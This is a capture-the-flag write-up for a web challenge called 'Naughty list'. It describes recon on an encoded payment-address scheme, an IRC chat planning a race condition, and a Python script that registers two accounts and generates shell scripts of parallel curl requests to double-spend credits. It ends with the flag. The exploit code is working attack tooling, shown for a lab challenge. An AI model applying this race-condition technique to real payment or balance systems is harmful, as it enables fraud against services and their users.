day 12 - Naughty list
Santa has been abusing his power and is union busting us elves. Any elves caught participating in union related activities have been put on a naughty list, if you can get me off the list I will give you a flag.
Recon
We're provided a web application that allows user registration. A new account has a default balance of 1 credit which you can send to a "default" address (belonging to Santa).
More findings:
- Destination addresses are 'encoded'.
- Registration usernames are alphanummeric.
- Account creation was limited to max. 15 per hour (per IP).
- Attempted a (simple) XSS/CSRF on the contact form - dead end.
- b0bb, CTF organizer, mentioned the database is cleared once an hour.
The goal is to obtain an account balance of 1000 credits.
Fancy URLs / Payment address / destination format
The web application creates URLs dynamically, containing: [a-zA-Z0-9_-]
. This weird encoding seems to be <96bit><base64blob><128bit>
. See script below to create quick valid payloads.
Quick script to generate payloads that work as addresses (we guessed the user:<username>
format):
>>> import strencode as s
>>> s.do_req("user:santa")
'LtUy21cNaqVSSHCkL3FQUUQyb2NsQT097Xo6qF8Ae9LJUrlEwMxXBg'
However, the server side code just splits on :
so :username
is just as valid. Could be an indicator of php bindParam
stuff.
Anyway, this allows us to send a single credit to a specified user of our choice by generating their destination address, as opposed to only being able to send to Santa.
Racing
After a while, we noticed there is a delay whilst sending a credit.
[23:36:00] <kmhn> btw
[23:36:04] <kmhn> takes quite a while
[23:36:11] <kmhn> when sending a credit successfully
[23:37:42] <BLVSTY> eh yah there appears to be a noticable time delay
[23:37:55] <kmhn> 1.1s
[23:38:19] <BLVSTY> yah i notice about ~1 sec diff
[23:38:23] <BLVSTY> between out of funds
[23:38:25] <BLVSTY> versus succesfull
[23:38:32] <kmhn> i mean
[23:38:36] <kmhn> it's just one insert/update
[23:38:44] <kmhn> shouldn't take long
[23:38:46] <BLVSTY> right
[23:38:49] <BLVSTY> so thats suspicious
[23:31:12] <BLVSTY> also I was thinking maybe we can exploit some race condition
[23:31:26] <kmhn> double spend?
[23:31:29] <BLVSTY> open 1000 tcp connections
[23:31:37] <BLVSTY> write entire HTTP request for POST to transfer coins
[23:31:40] <BLVSTY> MINUS the final \r\n
[23:31:45] <BLVSTY> then blast \r\n's to all sockets
[23:31:49] <BLVSTY> and see how much cash we end up with
[23:31:53] <kmhn> hm
[23:31:59] <kmhn> actually can work
[23:32:07] <BLVSTY> I know, thats how I paid off my mortgage
With this delay in mind, we began sending multiple requests in hopes of creating duplicate transfers.
Solution
Our hacky solution (as per usual) involves programatically creating 2 users and writing 2 shell scripts a.sh
, b.sh
, where each shell script is responsible for sending an amount to the other user, essentially bouncing & duplicating credits between the two.
Since a.sh
and b.sh
for the first run only send 1 credit, we need to re-generate those scripts when more funds become available.
#!/usr/bin/python
import random
import string
import requests
import sys
import time
import os
URL="http://3.93.128.89:1212"
DEST_USER = sys.argv[1]
random.seed(time.time())
def rand_str(stringLength=10):
"""Generate a random string of fixed length """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
def register(u, p):
return "You registered successfully." in requests.post(
URL + "/?page=V8qMXro4tr7dCOnva0lpUDZtaEYrVlE9YC657Xy-y5AV0y-kaaqRRw",
cookies=COOKIES,
data={'username': u, 'password': p, 'confirm': p}
).text
def login(u, p):
return requests.post(
URL + "/?page=nLs09O0i3BRE9c5EdnNNUThwND3ICEIkvNLmXYOIyCyxwLRq",
cookies=COOKIES,
data={'username' : u, 'password': p}
).text
def transfer(dst):
return requests.post(
URL + "/?page=BUmSfjj27GSXz0mMSm9JTU5ka3VUdz09Xy1g4s1QZmV5U4i1SYomEQ",
cookies = COOKIES,
data = {'credits': "1", 'destination': dst}
).text
def oracle(s):
return requests.get(
URL + "/?page=" + requests.utils.quote(s), cookies=COOKIES
).url.split("from_page=")[1]
RAND_USER1 = sys.argv[1]
RAND_USER2 = sys.argv[2]
NUM_CRED = int(sys.argv[3])
PASSWORD = "letmein"
COOKIES = requests.get(URL).cookies
if not register(RAND_USER1, PASSWORD):
print "failed to reg user1"
if not register(RAND_USER2, PASSWORD):
print "failed to reg user2"
#DEST_A = oracle("sendto:"+RAND_USER1)
#DEST_B = oracle("sendto:"+RAND_USER2)
DEST_A = "8OuvH_aMLZArHicGZE9uSGRFSk9TenBRSGVIUkhYUT10o9KR8ihV8SRhFl1oaC1F"
DEST_B = "xYMiHFIH0nW0w7XtYWl5YlpYQTlFL0dRSTBKdGlsND0d8dLiFM6Y4twYSgKSMiLI"
print "DEST_A: " + DEST_A
print "DEST_B: " + DEST_B
COOKIES = requests.get(URL).cookies
login(RAND_USER1, PASSWORD)
SESS_ID_A = COOKIES['PHPSESSID']
COOKIES = requests.get(URL).cookies
login(RAND_USER2, PASSWORD)
SESS_ID_B = COOKIES['PHPSESSID']
shell_a = 'curl -vvv -b "PHPSESSID=%s" -d "destination=%s&credits=%d" "%s/?page=3QN-mHvZHuHreZIQWTBFZDl5VjZvUT09pL76AwlEbbTGupOfvlkgfQ" &\n' % (SESS_ID_A, DEST_B, NUM_CRED, URL)
shell_b = 'curl -vvv -b "PHPSESSID=%s" -d "destination=%s&credits=%d" "%s/?page=3QN-mHvZHuHreZIQWTBFZDl5VjZvUT09pL76AwlEbbTGupOfvlkgfQ" &\n' % (SESS_ID_B, DEST_A, NUM_CRED, URL)
fh = open("a.sh", "w")
fh.write("#!/bin/sh\n\n"+shell_a*30)
fh.close()
fh = open("b.sh", "w")
fh.write("#!/bin/sh\n\n"+shell_b*30)
fh.close()
os.chmod("a.sh", 0o777)
os.chmod("b.sh", 0o777)
Flag
AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}